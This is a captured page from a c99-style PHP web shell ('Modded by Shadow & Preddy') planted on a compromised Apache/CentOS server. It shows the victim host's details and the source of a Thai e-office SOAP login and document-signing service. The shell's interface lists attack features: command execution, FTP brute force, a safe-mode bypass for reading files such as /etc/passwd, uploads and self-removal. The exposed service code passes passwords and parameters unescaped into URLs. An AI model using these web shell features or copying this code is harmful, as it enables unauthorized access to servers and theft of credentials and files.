!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mobliefunct.php (7.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
require_once('../lib/nusoap.php'); 
    
    
$server = new soap_server();
    
$server->soap_defencoding 'UTF-8'
    
$server->configureWSDL('authenwsdl''urn:authenwsdl'); // WSDL support
//====================================================================
    
$server->register('login',            // method name
        
array('user' => 'xsd:string','pass' => 'xsd:string'),            // input 
        
array('return' => 'xsd:string'),        // output 
        
'urn:authenwsdl',                        // namespace
        
'urn:authenwsdl#authen',                // soapaction
        
'rpc',                                        // style
        
'encoded',                                // use
        
'show data in table'                    // documentation
    
);
//====================================================================
    
$server->register('sendData',            // method name
        
array('personId' => 'xsd:string'),            // input 
        
array('return' => 'xsd:string'),        // output 
        
'urn:authenwsdl',                        // namespace
        
'urn:authenwsdl#authen',                // soapaction
        
'rpc',                                        // style
        
'encoded',                                // use
        
'show data in table'                    // documentation
    
);
//====================================================================
    
$server->register('user_detail',            // method name
        
array('personId' => 'xsd:string'),            // input 
        
array('return' => 'xsd:string'),        // output 
        
'urn:authenwsdl',                        // namespace
        
'urn:authenwsdl#authen',                // soapaction
        
'rpc',                                        // style
        
'encoded',                                // use
        
'show data in table'                    // documentation
    
);
//====================================================================
    
$server->register('getWorkList',            // method name
        
array('personId' => 'xsd:string','dlcid' => 'xsd:string','type' => 'xsd:string'),            // input 
        
array('return' => 'xsd:string'),        // output 
        
'urn:authenwsdl',                        // namespace
        
'urn:authenwsdl#authen',                // soapaction
        
'rpc',                                        // style
        
'encoded',                                // use
        
'show data in table'                    // documentation
    
);
//====================================================================
    
$server->register('workListDetail',            // method name
        
array('personId' => 'xsd:string','DocID' => 'xsd:string','RsID' => 'xsd:string','DtID' => 'xsd:string','DlcID' => 'xsd:string','DrsID' => 'xsd:string','type' => 'xsd:string'),            // input 
        
array('return' => 'xsd:string'),        // output 
        
'urn:authenwsdl',                        // namespace
        
'urn:authenwsdl#authen',                // soapaction
        
'rpc',                                        // style
        
'encoded',                                // use
        
'show data in table'                    // documentation
    
);
//====================================================================
    
$server->register('readDocEntryDoc',            // method name
        
array('DrsID' => 'xsd:string','indexBook' => 'xsd:string'),            // input 
        
array('return' => 'xsd:string'),        // output 
        
'urn:authenwsdl',                        // namespace
        
'urn:authenwsdl#authen',                // soapaction
        
'rpc',                                        // style
        
'encoded',                                // use
        
'show data in table'                    // documentation
    
);
//====================================================================
    
$server->register('signDocAction',            // method name
        
array('personId' => 'xsd:string','DlcID' => 'xsd:string','DrsID' => 'xsd:string','DocID' => 'xsd:string','DrsSign' => 'xsd:string'),            // input 
        
array('return' => 'xsd:string'),        // output 
        
'urn:authenwsdl',                        // namespace
        
'urn:authenwsdl#authen',                // soapaction
        
'rpc',                                        // style
        
'encoded',                                // use
        
'show data in table'                    // documentation
    
);
//====================================================================
    
function login($user,$pass)// operation name
    
{                $result=file_get_contents('http://'.$_SERVER["HTTP_HOST"].'/mispbri/eoffice/admin/mobliedetail.php?fn=loginmoblie&Username='.$user.'&Password='.$pass);
        
$result=strip_tags($result'<br><strong>');
        return 
$result;
    }
//====================================================================
    
function sendData($personId)// operation name
    
{    $resultdetailWork=file_get_contents('http://'.$_SERVER["HTTP_HOST"].'/mispbri/eoffice/admin/mobliedetail.php?fn=detail_work_moblie&personId='.$personId);
    return 
$resultdetailWork;
    }
//====================================================================
    
function user_detail($personId)// operation name
    
{
        
$result=file_get_contents('http://'.$_SERVER["HTTP_HOST"].'/mispbri/eoffice/admin/mobliedetail.php?fn=user_detail&personId='.$personId);
        
$result=strip_tags($result'<br><strong>');
        return 
$result;
    }
//====================================================================
    
function getWorkList($personId,$dlcid,$type)// operation name
    
{        
/*        
รายการหนังสือเข้า    receivedoc    สารบรรณ    
รายการหนังสือแจ้งการส่งผิด    sendBack_doc    สารบรรณ,หัวหน้า    
รายการหนังสือลงนามแล้วรอส่ง    send_doc    สารบรรณ,หัวหน้า    
รายการหนังสือเสนอลงนามแล้วรอรับหนังสือ    statusDocforSign    สารบรรณ    OS ยังไม่มี
รายการหนังสือเสนอลงนาม (ยังไม่ลงนาม) มีการแจ้งแก้ไขข้อมูลหนังสือ    statusDocforSignEdit    สารบรรณ    OS ยังไม่มี
รายการหนังสือเข้าอิเล็กทรอนิกส์    receiveEdoc    สารบรรณ    OS ยังไม่มี
รายการหนังสือที่ยังไม่ได้ลงนาม    sign_doc    หัวหน้า    
รายการหนังสือเข้าที่ยังไม่ได้เปิดอ่าน    entry_doc    ผู้ใช้ทั่วไป    
*/
        
$resultListWork=file_get_contents('http://'.$_SERVER["HTTP_HOST"].'/mispbri/eoffice/admin/mobliedetail.php?fn='.$type.'&personId='.$personId.'&dlcid='.$dlcid);
        return 
$resultListWork;
    }
//====================================================================
    
function workListDetail($personId$DocID$RsID$DtID$DlcID$DrsID$type)// operation name
    
{                $result=file_get_contents('http://'.$_SERVER["HTTP_HOST"].'/mispbri/eoffice/admin/mobliedetail.php?fn=workListDetail&personId='.$personId.'&DocID='.$DocID.'&RsID='.$RsID.'&DtID='.$DtID.'&DlcID='.$DlcID.'&DrsID='.$DrsID.'&type='.$type);
        return 
$result;
    }
//====================================================================
    
function readDocEntryDoc($DrsID,$indexBook)// operation name
    
{                
        
$result=file_get_contents('http://'.$_SERVER["HTTP_HOST"].'/mispbri/eoffice/admin/mobliedetail.php?fn=readDocEntryDoc&DrsID='.$DrsID.'&indexBook='.$indexBook);
        return 
$result;
    }
//====================================================================
    
function signDocAction($personId$DlcID$DrsID$DocID$DrsSign)// operation name
    
{    
        
$result=file_get_contents('http://'.$_SERVER["HTTP_HOST"].'/mispbri/eoffice/admin/mobliedetail.php?fn=signDocAction&personId='.$personId.'&DLCID='.$DlcID.'&DrsID='.$DrsID.'&DocID='.$DocID.'&DrsSign='.$DrsSign);
        return 
$result;
    }
//====================================================================
    
$HTTP_RAW_POST_DATA = isset($HTTP_RAW_POST_DATA) ? $HTTP_RAW_POST_DATA '';
    
$server->service($HTTP_RAW_POST_DATA);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0071 ]--